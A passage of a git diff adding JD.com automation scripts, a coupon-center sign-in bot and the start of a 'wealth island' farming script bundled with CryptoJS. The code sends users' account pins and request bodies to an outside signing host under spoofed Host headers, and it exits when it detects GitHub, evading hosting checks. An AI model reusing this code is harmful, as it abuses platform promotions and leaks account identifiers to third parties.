{"childActivityUrl":"openapp.jdmobile://virtual?params={\"category\":\"jump\",\"des\":\"couponCenter\"}","incentiveShowTimes":0,"monitorRefer":"","monitorSource":"ccresource_android_index_config","pageClickKey":"Coupons_GetCenter","rewardShowTimes":0,"sourceFrom":"1"} + let sign = await getSign(functionId, body) + return new Promise(async resolve => { + $.post(taskUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getCouponConfig API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + let functionId, body + if (data.result.couponConfig.signNecklaceDomain) { + if (data.result.couponConfig.signNecklaceDomain.roundData.ynSign === '1') { + console.log(`签到失败:今日已签到~`) + } else { + let pin = await getsecretPin($.UserName) + functionId = `ccSignInNecklace` + body = {"childActivityUrl":"openapp.jdmobile://virtual?params={\"category\":\"jump\",\"des\":\"couponCenter\"}","monitorRefer":"appClient","monitorSource":"cc_sign_android_index_config","pageClickKey":"Coupons_GetCenter","sessionId":"","signature":data.result.couponConfig.signNecklaceDomain.signature,"pin":pin,"verifyToken":""} + } + } else { + if (data.result.couponConfig.signNewDomain.roundData.ynSign === '1') { + console.log(`签到失败:今日已签到~`) + } else { + let pin = await getsecretPin($.UserName) + functionId = `ccSignInNew` + body = {"childActivityUrl":"openapp.jdmobile://virtual?params={\"category\":\"jump\",\"des\":\"couponCenter\"}","monitorRefer":"appClient","monitorSource":"cc_sign_android_index_config","pageClickKey":"Coupons_GetCenter","pin":pin} + } + } + if (functionId && body) await ccSign(functionId, body) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function ccSign(functionId, body) { + let sign = await getSign(functionId, body) + return new Promise(async resolve => { + $.post(taskUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ccSign API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data.busiCode === '0') { + console.log(functionId === 'ccSignInNew' ? `签到成功:获得 ${data.result.signResult.signData.amount} 红包` : `签到成功:获得 ${data.result.signResult.signData.necklaceScore} 点点券,${data.result.signResult.signData.amount}`) + } else { + console.log(`签到失败:${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getSign(functionId, body) { + return new Promise(async resolve => { + let data = { + functionId, + body: JSON.stringify(body), + "client":"android", + "clientVersion":"10.3.2" + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getsecretPin(pin) { + return new Promise(async resolve => { + let data = { + "pt_pin": pin + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/pin`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getsecretPin API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function taskUrl(functionId, body) { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body, + headers: { + "Host": "api.m.jd.com", + "Connection": "keep-alive", + "User-Agent": "okhttp/3.12.1;jdmall;android;version/10.1.2;build/89743;screen/1080x2030;os/9;network/wifi;", + "Accept": "*/*", + "Referer": "https://h5.m.jd.com/rn/42yjy8na6pFsq1cx9MJQ5aTgu3kX/index.html", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Cookie": cookie, + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cfd.js b/jd_cfd.js new file mode 100644 index 0000000..f78c8a1 --- /dev/null +++ b/jd_cfd.js @@ -0,0 +1,1827 @@ +/* +京喜财富岛 +cron 1 * * * * jd_cfd.js +更新时间:2021-9-11 +活动入口:京喜APP-我的-京喜财富岛 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛 +1 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, tag=京喜财富岛, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "1 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js,tag=京喜财富岛 + +===============Surge================= +京喜财富岛 = type=cron,cronexp="1 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js + +============小火箭========= +京喜财富岛 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, cronexpr="1 * * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = 